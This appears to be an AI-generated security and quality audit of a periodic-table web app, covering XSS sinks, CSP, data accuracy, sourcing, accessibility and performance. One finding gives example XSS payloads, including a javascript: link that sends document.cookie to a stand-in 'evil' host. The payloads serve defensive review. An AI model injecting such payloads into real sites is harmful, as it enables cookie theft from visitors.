VERIFIER NOTE Si=1000 S/m, Ge=2000 S/m, and B=0.0001 S/m in metals-raw.json are all exact, verified transcriptions of periodictable.com (Wolfram ElementData) — the Tier-2 source SOURCES.md documents for these fields. This is not a repo-introduced inconsistency: the same source also gives Tellurium 10000 S/m (confirmed), another value far above Te's intrinsic elemental conductivity, showing the "doped/technical-looking value here, intrinsic-looking value there" pattern originates upstream across multiple metalloids, not from an ad hoc choice applied only to Si and Ge. The numbers are accurate-to-source but may mislead readers versus textbook intrinsic-semiconductor conductivity; the fix is a documentation/footnote clarifying these are source-as-reported values (and possibly noting the source's own inconsistency), not a "correction" to match an internal convention that doesn't actually exist in this codebase.

LOW 33. Four href attributes interpolate URL data raw — attribute-breakout XSS and unvalidated javascript: scheme

src/main.js:1123 NEEDS NUANCE Security — injection & unsafe rendering (XSS) OPUS 4.8

WHAT Four anchor sinks interpolate a URL field directly into href with no escaping and no URL-scheme allow-listing: narrativeSources[].url (line 958), propertySources[].url (line 964), metal.pubchemUrl (line 1120), and metal.imageUrlSrc (line 1123). These fields are populated at build time from external feeds (RSC, PubChem, Wikimedia Commons — see src/data/sources.js PROPERTY_SOURCES). Two distinct attacks: (1) attribute breakout — a double-quote in the value escapes the href and injects arbitrary markup/handlers, and the Sources panel of narrativeSources/propertySources/imageSourceUrl renders on open with no user click; (2) javascript: scheme — because the scheme is never validated, a href of 'javascript:...' executes on click even without any breakout. Note the codebase DOES escape a href one place (line 595 uses escapeHtml(s.url)), making these four an inconsistency — though even escapeHtml would not stop the javascript: scheme. Verified current data is all https, so not currently exploitable; the defect is the unsafe sink + missing scheme validation.

EVIDENCE Line 1123: `<a href="{metal.imageUrlSrc}" target="_blank" rel="noopener">source</a>` | Line 958/964: `<a href="{s.url}" target="_blank" rel="noopener">${escapeHtml(s.title)}</a>` (title escaped, url NOT) | Line 1120: `<a href="{metal.pubchemUrl}" target="_blank" rel="noopener">`. Exploit if imageUrlSrc = `https://x"><img src=y onerror=alert(document.domain)>` → injected img.onerror runs on panel render; or imageUrlSrc = `javascript:fetch('//evil/?c='+document.cookie)>` → runs on click.

FIX Wrap all four href values in escapeHtml() AND add a scheme guard that only emits http(s)/mailto (e.g. a safeUrl() that returns '#' for anything not matching /^https?:/i). Apply the same safeUrl() at line 595 to close the javascript:-scheme gap there too.

VERIFIER NOTE The defect is real: four href sinks (main.js:958, 964, 1120, 1123) interpolate URL data raw, inconsistent with line 595 which uses escapeHtml. Both the attribute-breakout and javascript:-scheme concerns are valid sink-level defects. However, severity is low, not high: the fields are build-time curated data with no runtime user-input path, current data is entirely https, and exploitation would require prior compromise of the upstream feeds or build process. It should be framed as a defense-in-depth / consistency fix (add escapeHtml + a safeUrl() scheme guard across all five anchor sinks) rather than an exploitable high-severity XSS.

LOW 34. Desktop compare <option> omits escaping applied on the mobile path

src/main.js:1227 UNVERIFIED (LOW) Security — injection & unsafe rendering (XSS) OPUS 4.8

WHAT compareAddOptions() (desktop <select id="add-pick">) interpolates m.name, m.symbol, and m.key with no escaping, whereas the mobile equivalent compareAddCandidates rendering (lines 1297 and 1650) wraps m.name and m.symbol in escapeHtml(). The <select>/<option> parsing context limits impact — injected element children other than option/optgroup are dropped by the parser — but the value="{m.key}" attribute is still a double-quote breakout point and unescaped m.name text can mangle/truncate markup. Names/symbols/keys are all clean [a-z0-9-] in the current data (verified across 98 records), so not exploitable today; this is an escaping gap and inconsistency, not a live hole.

EVIDENCE Line 1227: `.map((m) => <option value="{m.key}">${m.name} (${m.symbol})</option>)` — none escaped. Contrast line 1297/1650 (mobile): `...data-add-key="{m.key}" ...>${escapeHtml(m.name)} <span>${escapeHtml(m.symbol)}...`

FIX Escape all three: `<option value="{escapeHtml(m.key)}">${escapeHtml(m.name)} (${escapeHtml(m.symbol)})</option>`.

LOW 35. No Content-Security-Policy (no defense-in-depth backstop for any injection)

index.html:3 UNVERIFIED (LOW) Security — injection & unsafe rendering (XSS) OPUS 4.8

WHAT index.html declares no CSP meta tag, and there is no _headers file, no wrangler/netlify .toml, and no other header config anywhere in the repo (the app deploys to Cloudflare Pages per README 'Hosting (Cloudflare Pages)'). Every UI string is written via innerHTML, so a CSP with a script-src that forbids inline/eval and unsafe-inline event handlers would neuter the injection sinks above even if a malicious value slipped into the data at build time. Its absence means any successful injection executes unmitigated. The page also loads cross-origin resources (fonts.googleapis.com / fonts.gstatic.com) that a CSP connect/style/font-src would scope.

EVIDENCE index.html <head> (lines 3-19) contains only charset, viewport, title, theme-color, font <link>s, and an inline data: favicon — no `<meta http-equiv="Content-Security-Policy">`. Repo grep for 'content-security-policy' / '_headers' / '*.toml' returns nothing.

FIX Add a Cloudflare Pages public/_headers file (or a CSP <meta>) with at minimum: default-src 'self'; img-src 'self' data:; style-src 'self' 'unsafe-inline' https://fonts.googleapis.com; font-src https://fonts.gstatic.com; script-src 'self'; base-uri 'none'; object-src 'none'; frame-ancestors 'none'. Self-hosting the fonts would let you drop the font exceptions.

LOW 36. escapeHtml() does not escape single quotes

src/main.js:223 UNVERIFIED (LOW) Security — injection & unsafe rendering (XSS) OPUS 4.8

WHAT The escapeHtml helper replaces &, <, >, and " but not the single quote ('). Today every attribute that interpolates escaped data uses double quotes (I grepped for single-quoted attribute interpolations in main.js and found none), so this is latent, not currently exploitable. It is a footgun: the first time someone writes an attribute as attr='\${escapeHtml(x)}' (single-quoted), the value becomes injectable because ' passes through unescaped. This is the standard reason robust HTML-escapers also encode the apostrophe.

EVIDENCE Lines 223-229: `return String(value).replaceAll("&","&").replaceAll("<","<").replaceAll(">",">").replaceAll("'", """);` — no `.replaceAll("'", "'");`.

FIX Add `.replaceAll("'", "'")` to escapeHtml so it is safe for both quote styles.

LOW 37. Cross-origin Google Fonts requests leak visitor IP/referrer (no CSP scoping)

index.html:8 UNVERIFIED (LOW) Security — injection & unsafe rendering (XSS) OPUS 4.8

WHAT The page eagerly loads webfonts from fonts.googleapis.com and fonts.gstatic.com via <link>, so every visitor's browser discloses IP address, User-Agent, and Referrer to Google on each page load — a third-party data leak on an otherwise self-contained static reference site. (Specimen images are NOT a leak in the current build: I verified all 98 elements resolve to same-origin /samples/* paths, and displayImageUrl only falls back to the remote Wikimedia commons.wikimedia.org imageUrl when a local sample is missing, which is none today.) Charter asked to assess external image loading / privacy leakage; the live leak is the fonts, not images.

EVIDENCE index.html lines 8-13: `<link rel="preconnect" href="https://fonts.googleapis.com" />`, `<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin />`, and the stylesheet `<link href="https://fonts.googleapis.com/css2?family=JetBrains+Mono..." rel="stylesheet">`. images.js displayImageUrl fallback (line 13): `return metal.imageUrl || null;` (remote), currently shadowed by local samples for all keys.

FIX Self-host the four font families (Vite can bundle them, e.g. via @fontsource) to eliminate the third-party requests; then a strict CSP need not whitelist Google origins.

LOW 38. atomicMass for lithium and lead is credited to PubChem but PubChem's CSV lists different (integer-rounded) values

src/data/sources.js:52 UNVERIFIED (LOW) Sourcing & citation integrity OPUS 4.8

WHAT The user-facing Sources page states PubChem supplies atomic "mass" (SOURCE_REFERENCE pubchem blurb), and per-element propertySources credit "PubChem Periodic Table CSV" (Tier 1) for atomicMass. But for lithium and lead the stored masses are IUPAC conventional weights that the in-repo PubChem CSV does not contain. This is disclosed in property-overrides.json but the attribution surface still credits PubChem for values it does not provide.

EVIDENCE metals-raw.json: lithium atomicMass = 6.94, lead atomicMass = 207.2. src/data/pubchem-periodictable.csv: Lithium row = 7.0, Lead row = 207. property-overrides.json:5-9 note: "PubChem periodic-table CSV rounds some masses to integers. App uses IUPAC conventional atomic weights." Correct reference: 6.94 (Li) and 207.2 (Pb) are IUPAC 2021 conventional atomic weights, not PubChem CSV values (7.0 / 207).

FIX Attribute lithium/lead atomicMass to IUPAC (add an IUPAC property source or per-field note) instead of implying the value came from the PubChem CSV.

LOW 39. "Unverified" confidence definition describes superheavies, but zero elements are Unverified and all superheavies are Single-source

src/data/sources.js:107 UNVERIFIED (LOW) Sourcing & citation integrity OPUS 4.8

WHAT CONFIDENCE_REFERENCE defines Unverified as "Neither RSC nor USGS narrative usable — rare; usually sparse superheavies." The Sources page (main.js renderSources) displays this meaning next to a live count. In reality the distribution is 68 confirmed / 30 single-source / 0 unverified, and every superheavy (Rf through Lv) is Single-source because RSC narrative text was available. The explanatory text points users at a bucket that is empty and mischaracterizes where the superheavies actually sit.

EVIDENCE sources.js:107 meaning text; measured distribution {confirmed:68, single-source:30, unverified-model:0}; single-source set includes rutherfordium, dubnium, seaborgium ... livermorium (all have RSC + PubChem sources). Correct reference: the superheavies are Single-source, not Unverified; the "usually sparse superheavies" example is inaccurate.

FIX Reword the Unverified meaning to not claim superheavies as its typical members, or hide the row when its count is 0.

Refuted by verification 2

Flagged by a finder but disproven by an independent verifier — kept for transparency.

Mobile entry-bar's series dropdown (z-index:40) can be painted over by the sibling hero-view toggle because it's confined inside a weaker stacking context `src/style.mobile-browse.css`

The CSS stacking-context mechanics the finding describes are accurately stated: `.mobile-entry-bar .entry-series` (style.mobile-browse.css:116-126, position:absolute, z-index:20) and its sibling .hero-controls--bar` (mobile-browse.css:381-399, position:relative, z-index:25) do each establish their own stacking context, .mobile-entry-bar` itself (mobile-browse.css:70-77) has no z-index so it doesn't shield them, and per spec .entry-series-menu`'s z-index:40 (style.css:737-748) is confined to ranking within .entry-series`'s own context — so at the level where the two siblings are compared, 25 (hero-controls--bar) does outrank 20 (entry-series). That part of the analysis is correct. However, the claimed consequence — that the sibling's box (including its 'always-visible toggle chip') visually paints over the open dropdown — does not occur, because the two elements' rendered rectangles never spatially overlap. .entry-series` is given top:0; bottom:0` (mobile-browse.css:119-120), so it stretches to the full height of .mobile-entry-bar`'s row (not just the label's own height). .entry-series-menu` is positioned top: calc(100% + 8px)` relative to that full-height box (style.css:739, overridden only for left/transform on mobile), so the dropdown always begins 8px below the bottom of the entire entry bar row — never within the row where .hero-controls--bar`/its toggle chip live. I confirmed this empirically rather than just by inspection: ran the actual dev server, drove the app in a 375px-wide mobile viewport, navigated to the Alkaline Earth series (the exact series name the finding cites as a plausible overlap case) and opened a metal entry (Calcium), then opened the series dropdown and read live getBoundingClientRect()` values: - .mobile-entry-bar` : top 63.3, bottom 95.3 - .hero-controls--bar`/toggle chip: top ~65.7-66.3, bottom ~92.3-93.0 (fully inside the bar row) - #entry-series-menu` (open): top 103.3, bottom 379.3 The menu's top (103.3) is 8px below the bar's bottom (95.3), while the toggle chip's bottom (93.0) is above the bar's bottom. There is zero vertical overlap between the open dropdown and the hero-controls--bar subtree — confirmed with the actual DOM, not just static analysis. Additionally, .bindSeriesPicker`/'hero-controls-toggle` click handlers in src/main.js (lines 429-436, 1161-1172) mutually exclude the two panels (opening one force-closes the other), so even the hero-controls *panel* (which does drop below the bar) can't be open at the same time as the series menu under normal interaction. So the underlying CSS confinement fact is real, but it has no observable effect given the actual layout geometry — this is a non-issue in practice, not a medium-severity visual bug. I'd call it a low-severity/theoretical robustness nit at most (worth simplifying per the recommendation for defensive-CSS hygiene, e.g. if someone later changes the menu's top` offset or the row height), not a confirmed user-facing defect.`

crustAbundancePercent stored as null for Polonium and Actinium despite the value being known and already cached in this repo's own reference-db `src/data/metals-raw.json`

The finding's factual observations about metals-raw.json are accurate (Po crustAbundancePercent=null with ocean=2e-18 populated at line 1829-1830; Ac crustAbundancePercent=null with ocean also null at line 1910-1911), and it correctly transcribes the PubChem data cached in reference-db/assembly/elements/{polonium,actinium}.json. But it draws the wrong conclusion because it checks the wrong source. Per src/data/sources.js (PROPERTY_SOURCES.periodicTableDotCom, tier 2), crustAbundancePercent/oceanAbundancePercent are explicitly documented as sourced from periodictable.com/Wolfram ElementData, with the stated rule "Null when the source lists N/A" — not from PubChem. I fetched periodictable.com directly: - Polonium (periodictable.com/Elements/084): Crustal Abundance = N/A; Ocean/Hydrosphere = $2 \times 10^{-18}\%$ — an EXACT match to the repo's stored oceanAbundancePercent (2e-18), proving periodictable.com is the real source used (PubChem's mg/L figure would convert to $\sim 1.46\text{e-}18\%$, a different number). Crustal being N/A there means null is correct. - Actinium (periodictable.com/Elements/089): Crustal Abundance = N/A; Ocean = N/A — both nulls match the repo exactly. Additionally, scripts/import-vault-numerics.mjs (the script that merges the reference-db vault into metals-raw.json) contains zero references to crustAbundance/oceanAbundance/universeAbundance — the PubChem vault was never wired up to backfill these fields for any element, so there's no "consulted for one field, skipped for the other on the same row" — abundance data was never pipelined from that vault at all; it was sourced from periodictable.com by the original build process (there is no periodictable.com bulk dataset file in the repo, so this was presumably scraped/curated per-element outside the two committed PubChem tables, which lack abundance columns entirely). The reference-db vault itself is also gitignored (reference-db/raw/ and reference-db/assembly/ in .gitignore) — it exists locally but was never a tracked/committed data source, further weakening "already cached in this repo" as grounds for treating it as authoritative over the documented source. Net: both null values are correct and consistent with the project's own documented sourcing methodology. This is a non-issue, not a data-quality defect. I'm not marking it fully "confirmed-but-low" because the recommendation to backfill would actually be wrong to execute — it would contradict the cited source and violate the project's "null when source lists N/A" convention. Adjusted severity reflects that at most this could prompt a documentation clarification (e.g., noting PubChem disagrees/is silent here too) but not a data fix.

OPUS 4.8 Scientific numeric accuracy (physical & chemical properties, all 98 elements)

I audited all 10 numeric fields for all 98 elements in src/data/metals-raw.json (atomicNumber, atomicMass, meltingPoint, boilingPoint, density, conductivity, thermalConductivity, mohsHardness, brinellHardness, universe/crust/oceanAbundancePercent). Method: dumped every field for all 98 records and compared against reference values I know, then deep-verified the uncertain ones. Deep-verified against sources: gold/silver/germanium Brinell and silicon conductivity via Wikipedia infoboxes; calcium seawater via web search; atomicMass/meltingPoint/boilingPoint/density spot-confirmed against the repo's own pubchem-periodictable.csv (Kelvin values, e.g. Au 1337.33 K = 1064.18 C, density 19.282 — all match). Fields that came out CLEAN across all 98: atomicMass (all within IUPAC/isotope rounding; Fe 55.84 vs 55.845 and Zn 65.4 vs 65.38 are acceptable), meltingPoint & boilingPoint (systematic integer-Kelvin conversion, all consistent), density (all within CRC source tolerance), thermalConductivity (all match), mohsHardness (all match). Electrical conductivity is correct for all metals; only the two semiconductors (Si, Ge) are off-convention. Brinell is correct for every element I could cross-check (Cu 874, Pt 392, In 8.83, Pb 38.3, Cs 0.14, Sn 51, Os 3920, etc. all match Wikipedia) EXCEPT gold, silver, germanium. Abundances (universe/crust) are within normal source spread; only one ocean value is wrong. Cross-checks: metals.js (generated) is a byte-exact numeric match to metals-raw.json — 0 mismatches across 98 records x 11 fields. property-overrides.json is applied sanely (only lithium=6.94 and lead=207.2 IUPAC masses; fillsApplied=0). Note two NON-issues I ruled out: (1) arsenic's boilingPoint(614) < meltingPoint(817) is intentional and correctly handled by format.js sublimesAtOneAtm()/“Sublimation (1 atm)” labeling; (2) floating-point noise in the JSON (Rb conductivity 8300000.000000001, abundances like 6.0e-8) is rounded away by the toLocaleString formatters and never reaches the DOM. 5 real defects below, most-severe first. This is an exhaustive check of the high-signal fields for all 98 elements, not a sample.

OPUS 4.8 Narrative factuality & hallucination (scripts/narratives.mjs prose)

Coverage: I read all 98 `overview` fields and all 98 `notableFacts` + `narrativeConfidence` labels; deep-checked `uses` for ~26 elements (iron, copper, gold, aluminum, lithium, uranium, titanium, tungsten, silver, lead, tin, mercury, chromium, cobalt, nickel, magnesium, zinc, plutonium, thorium, arsenic, manganese, platinum, tantalum, niobium, vanadium, bismuth) and `production` for ~12; and verified the nuclear-synthesis reaction for all 13 superheavy elements (Rf-Cn, Nh-Lv). I sampled the `commodityNotes` sub-fields only lightly. Key structural finding: the prose is faithfully sourced, not fabricated. Every error below was copied VERBATIM from the cited RSC element page (I diffed against src/data/rsc/*.json) — I found NO evidence of pipeline-invented hallucinations in the sample. The USGS-derived `production`/`commodityNotes` text is accurate and current (2024-25 MCS). The problem is inherited: several RSC `naturalAbundance`/`uses` statements are themselves factually wrong or decades out of date, and the build surfaces them as “confirmed” content. Superheavy synthesis reactions are almost all correct (e.g. Sg = Cf-249 + O-18, Cn = Pb + Zn, Lv = Cm + Ca) and Nh/Mc honestly say “Unknown”; flerovium is the lone impossible one. Most-severe first. Findings 1-6 are concrete factual/scientific errors; 7 is a confidence-label honesty issue; 8-11 are lower-severity outdated/numeric errors. Also worth noting (not itemized): many overview/production strings are truncated mid-sentence with “...” (e.g. lithium “from brines that...”, antimony “China produces 88% of the...”), a content-completeness issue outside this factuality charter.

OPUS 4.8 Frontend logic correctness & bugs (src/main.js, src/lib/{format,compare,filter,images}.js)

I exhaustively traced src/main.js (~2022 lines) and all of src/lib/{format,compare,filter,images}.js, then validated hypotheses against the real generated data (98 metals, Z 3–116; 20 null densities, 24 null conductivities, 13 null melting points, 1 sublimator=arsenic). The app is defensively coded: format helpers return “Unavailable”/“—” for null/NaN, compareMetals() filters Boolean, selectedMetal() has a fallback, and I found NO crash path even for null-heavy superheavies (e.g. livermorium Z116 renders fine). Compare best/worst highlighting, delta math (incl. negative baselines like mercury and °C→°F delta conversion), sublimation labeling, and drag-reorder are all correct. No critical/high crash bug exists that I could find. The 6 real defects below are correctness/rendering/state issues, ranked most-severe first. I checked all five files fully rather than sampling; data claims were verified by importing the actual metals.js module and computing against known reference values.

OPUS 4.8 Security — injection & unsafe rendering (XSS)

I exhaustively reviewed every DOM-writing sink in src/main.js (all 11 innerHTML/template-string assignments) and the render helpers in src/lib/{images,format,compare,filter}.js, src/data/sources.js, and index.html. The app renders 100% of its UI by building HTML strings and assigning them to innerHTML. Most text fields ARE escaped via escapeHtml() (overview, production, uses, safety, notableFacts, commodityNotes, name, symbol, imageCredit, and the search-query reflection at line 998), so the obvious narrative-text XSS is closed. The defects are in a handful of sinks where escaping was inconsistently applied: four href attributes and one img src are interpolated raw, and the desktop compare <option> omits escaping that its mobile twin applies. There is also no CSP and escapeHtml doesn't cover single quotes. THREAT MODEL (stated honestly): every tainted field is build-time, repo-committed data (metals-raw.json, narratives.mjs, sample-images.json) that build scripts populate from external services (PubChem, RSC, Wikimedia Commons, USGS). No runtime user input reaches these sinks — the only user-controlled path, the search box, is escaped and used solely for filtering. So exploitation today requires either a malicious/compromised upstream feed ingested by a build script without sanitization, or a malicious data PR. Real-world likelihood for a static reference site is LOW. I report the sinks anyway because (a) the charter asks for them, (b) the escaping is applied inconsistently — sibling sinks escape and these don't, which is exactly the latent bug that becomes live the moment someone wires up user submissions or a dynamic feed, and (c) there is no CSP backstop. I verified current data is benign (all URLs https, all keys/names/symbols are [a-z0-9-] slugs, all 98 images resolve to local /samples paths so the remote img fallback never fires today). Findings ranked most-severe first; 6 total, no truncation.

OPUS 4.8 Sourcing & citation integrity

I audited provenance honesty across all 98 elements. EXHAUSTIVE checks (scripted): every narrative's narrativeConfidence vs actual RSC-source / USGS-source / USGS_MAP presence; tier labels on every narrativeSource entry; existence of every USGS_MAP target file; whether each “confirmed” element's mapped USGS chapter even mentions the element; single-source source composition; raw↔narrative key parity; RSC-JSON presence for confirmed entries; image attribution; and atomicMass overrides vs the in-repo PubChem CSV. I also read the in-repo USGS rare-earths chapter text and grepped per-element mention counts. Result: labels are internally consistent at the surface (68 confirmed / 30 single-source / 0 unverified; tiers all correct RSC=2, USGS=1, PubChem=1; no empty-source confirmed entries; no fallback triggered). The real defects are COVERAGE mismatches: the confidence engine grants “Confirmed” whenever a production excerpt can be sliced from a *mapped* chapter, without checking the chapter actually covers the element. This produces genuinely misleading tier-1 USGS provenance for promethium (synthetic; 0 mentions) and scandium (the chapter explicitly excludes it). The 5 other rare earths with 0 individual mentions (Gd/Ho/Tm/Yb/Lu) are defensible as lanthanide-group commodities and I did NOT flag them. I sampled (did not sentence-by-sentence verify) narrative-claim-to-RSC correspondence for all 98; the alias mappings (Na→salt, K→potash, Ca→lime, Ba→barite, Zr/Hf, PGM) were checked for name-coverage and are legitimate commodity forms.

SONNET 5 Build & data-pipeline scripts (scripts/build-metals.mjs, upgrade-narratives.mjs, import-vault-numerics.mjs, fetch-sample-images.mjs, fetch-reference-db.mjs, usgs-map.mjs, scrape-rsc.mjs, scrape-property-gaps.mjs, audit-all-data.mjs, audit-production.mjs)

Read all 10 charter scripts in full (89–475 lines each). Ran the safe, non-network ones for real: build-metals.mjs (twice, confirmed byte-identical output → deterministic/idempotent), import-vault-numerics.mjs dry-run (twice, 0 patches), audit-all-data.mjs and audit-production.mjs (both regenerate their own report JSON from already-committed data, no source mutation). Did not execute scrape-rsc.mjs, scrape-property-gaps.mjs, or fetch-reference-db.mjs live (third-party network + Playwright, and scrape-property-gaps.mjs writes straight to metals-raw.json with no dry-run) — verified those via static reading plus read-only node queries against the already-fetched local caches (src/data/rsc/*.json, src/data/usgs/text/*.txt, src/data/pubchem-periodictable.csv, reference-db/raw/pubchem/periodictable.csv). Attempted to re-run upgrade-narratives.mjs to test regeneration idempotency; that execution was blocked by the auto-mode permission classifier, so finding #1/#2 below were instead proven by tracing the generator's logic against its actual RSC input JSON and the checked-in scripts/narratives.mjs output — sufficient for high confidence without executing it. narratives.mjs itself (2769 lines, pure generated data) was sampled via targeted queries, not read end-to-end line by line, since it has no control-flow logic to audit. 10 concrete, evidence-backed defects found, ranked by severity; two (arsenic thermo, the "Unknown" pass-through) were cross-checked against an external reference (Wikipedia's Arsenic infobox) via web search. No malicious or attacker-controlled content encountered.

SONNET 5 Accessibility (a11y)

Audited index.html, the full src/main.js (2021 lines, 100% read), src/style.css and src/style.mobile-browse.css (root tokens plus every focus/outline/reduced-motion/tabindex/aria rule swept via grep, all flagged selectors read in context), src/lib/compare.js (full), src/lib/images.js and src/viewer/mount.js (full, both inert for a11y). src/lib/format.js and src/lib/filter.js were skimmed only — pure data/formatting helpers with no markup output, out of scope for this charter. Static findings were cross-checked live against the app's own dev server (already running on localhost:5173) using the Chrome preview tools: DOM queries, getComputedStyle-based relative-luminance contrast measurement, getBoundingClientRect for rendered target sizes, and dispatched KeyboardEvents to test Escape/focus behavior. Screenshot capture was non-functional in this environment (repeated timeouts), so visual regression wasn't possible, but the JS-based introspection is more precise than a screenshot for the contrast and geometry claims below anyway — every number in the findings is either read directly from source or measured live in the running app, not estimated. 8 findings reported, ranked most-severe first; the two WCAG Level A keyboard/focus issues are the most consequential since they affect a real, advertised feature (Compare reordering) with no built-in accessible equivalent. Not exhaustively fuzzed: only a sample of element entries (Actinium, Actinide family, "All metals") and both Compare layouts (desktop drag cards, mobile pointer-drag sheet) were exercised live; the 98 element pages share one code path so spot-checks generalize, but per-element narrative/image content wasn't individually reviewed for alt-text quality beyond the shared template logic.

SONNET 5 Performance & bundle

Covered exhaustively (not sampled): full read of src/main.js (2021 lines), src/lib/{filter,compare,images}.js in full, scripts/build-metals.mjs and scripts/fetch-sample-images.mjs in full, vite.config.js, index.html, package.json, and targeted grep passes across src/ and scripts/ for import(), debounce/throttle, addEventListener(document|window), and .viewer usage. I also ran a real `npx vite build` to get actual production bundle numbers (not estimates) and wrote small throwaway Node scripts (in the scratchpad dir) to measure exact byte counts for: the search haystack built per keystroke, the metalCardsHtml() sidebar-list output size, propertySources/viewer duplication across the 98 records, and actual pixel dimensions of the largest sample images. style.css/style.mobile-browse.css were spot-checked only for the selectors relevant to image/card sizing (not read end-to-end). Two suspicions named in the charter were checked and NOT substantiated, stated here rather than silently dropped: (1) no $O(n^2)$ over the 98-element list was found — the closest thing is repeated $O(n)$ full-list rebuilds triggered too often (see findings below), not quadratic growth; (2) no event-listener/memory leak was found — the four document-level "close menu on outside click" listeners (sort/series/hero/compare-add menus) are each paired with a matching clearXListener()/removeEventListener call before re-adding, and the one persistent listener (bindTipFollow's mousemove, main.js:2013) and the matchMedia listener (main.js:2018) are both bound exactly once at module init, not per render. The `warmed` Set in images.js is unbounded in design but capped at 98 entries in practice (one per metal), so it is not a real leak. The dominant, best-evidenced finding is that the entire production JS bundle is a single 504.44 kB (101.86 kB gzip) chunk — confirmed by an actual build, with Vite's own build warning flagging it — of which measurement shows ~89% by byte-weight is the 98-element narrative dataset (metals.js), none of it code-split, all of it parsed and held in memory before any element is even opened. Several concrete, fixable sources of avoidable weight/re-render cost stack on top of that (duplicated static sub-objects baked into all 98 records, un-debounced search that reprocesses ~143K characters of narrative text per keystroke, full-shell + full-98-card-list innerHTML rebuilds on every single element click, and full-resolution multi-hundred-KB images with no responsive sizing eagerly bulk-preloaded in a way that defeats the `loading="lazy"` attribute set on the same elements).

SONNET 5 CSS, responsive layout & mobile UX (src/style.css, src/style.mobile-browse.css, class usage in src/main.js)

Read both stylesheets in full (style.css 2239 lines, style.mobile-browse.css 1138 lines) and all of main.js (2021 lines) line-by-line, then cross-referenced every class token programmatically between the CSS and the JS templates (no orphan CSS classes; one orphan JS class found). Rather than trust static reading alone for the trickiest claims (sticky/z-index/responsive-override interactions), I ran the actual app in a live browser at desktop and three mobile widths (320/375/390/900px) and used getBoundingClientRect/getComputedStyle/scroll measurements to empirically confirm or refute each hypothesis before reporting it — this caught and discarded two plausible-looking theories (a suspected `metal-aside`/`.console-header` sticky collision and a mobile `table-mobile-head`/`.console-header` z-index collision) once live inspection showed `console-header` only ever renders on the dashboard template, never on the browse/table/compare pages, so those two never actually coexist in the DOM. The dev server on :5173 was a pre-existing external process (not one I started), so a couple of interactive click sequences got reset mid-session (visible as repeated Vite HMR reconnects); I worked around this by jumping straight to target states via JS and re-verifying at multiple widths, and I've marked the one finding I could not get a clean live repro for (finding 4) as medium rather than high confidence. Coverage was exhaustive for the three primary files; secondary data/build scripts were not audited as they're outside this charter's scope. 7 findings below, ranked by severity; the top three are live-verified with exact measured pixel values, not just static inference.

SONNET 5 Data consistency & schema integrity

Audited all 98 records in src/data/metals-raw.json plus the generated src/data/metals.js, scripts/narratives.mjs, src/data/property-overrides.json, src/data/pubchem-periodictable.json, src/data/sample-images.json, and reference-db/assembled/elements/*.json, using node scripts to check every item in the charter exhaustively (not sampled) unless noted: (1) raw-key vs narrative-key parity — clean, 98/98 match both directions; (2) duplicate key/symbol/name/atomicNumber — none found; (3) atomicNumber to electronConfiguration arithmetic (noble-gas core + subshell exponents summed and compared to Z for all 98, after normalizing "(calculated)/(predicted)" suffixes) — 0 mismatches; (4) family vs standard periodic-table groups and sourceCategory vs family — all 98 correct, and the two patterns that look inconsistent at a glance (sourceCategory "Lanthanide"/"Actinide" with no "metal" suffix; standardState "Expected to be a Solid" only for $Z \geq 110$) are verbatim from the cited PubChem CSV (src/data/pubchem-periodictable.json GroupBlock/StandardState columns), not curation bugs — verified byte-for-byte against that file, so not reported as findings; (5) standardState — 90 Solid/1 Liquid(Hg)/7 "Expected to be a Solid", all match PubChem; (6) sublimation logic (boilingPoint < meltingPoint) — only Arsenic exhibits it (816.85 vs 613.85 C, which is the well-known real-world 1-atm sublimation anomaly) and it is correctly threaded through src/lib/format.js (sublimesAtOneAtm/boilingPointLabel/tips), src/lib/compare.js, and src/main.js; (7) image fields — imageUrl/imageSourceUrl/imageCredit present, well-formed, and unique for all 98, all on commons.wikimedia.org, and all 98 local overrides in src/data/sample-images.json resolve to real files under public/samples. Two areas produced real, evidence-backed defects: metals.js/source sync, and null-vs-zero-vs-missing usage in the three abundance fields (universe/crust/ocean). I deliberately did not audit narrative-source tier/confidence-label correctness (RSC/USGS coverage logic) or production/economic-content accuracy — a sibling script already present in the shared scratchpad directory, and modifications appearing mid-session to src/data/full-data-audit-report.json / src/data/production-audit-report.json, indicate another concurrent audit already owns those dimensions. Note on side effects: to test "is metals.js actually in sync," I ran `node scripts/build-metals.mjs`, which regenerates src/data/metals.js in place. Before I ran anything, git status already showed scripts/narratives.mjs, scripts/build-metals.mjs, and src/data/metals.js as modified-but-uncommitted (metals-raw.json was unmodified), so the regeneration was a deterministic still of working-tree files I did not touch — it did not discard any hand-authored content, and the working tree's metals.js is now confirmed in sync. That sync gap is still reported below because it reflects a real, currently-uncommitted drift with no CI guard against it recurring.

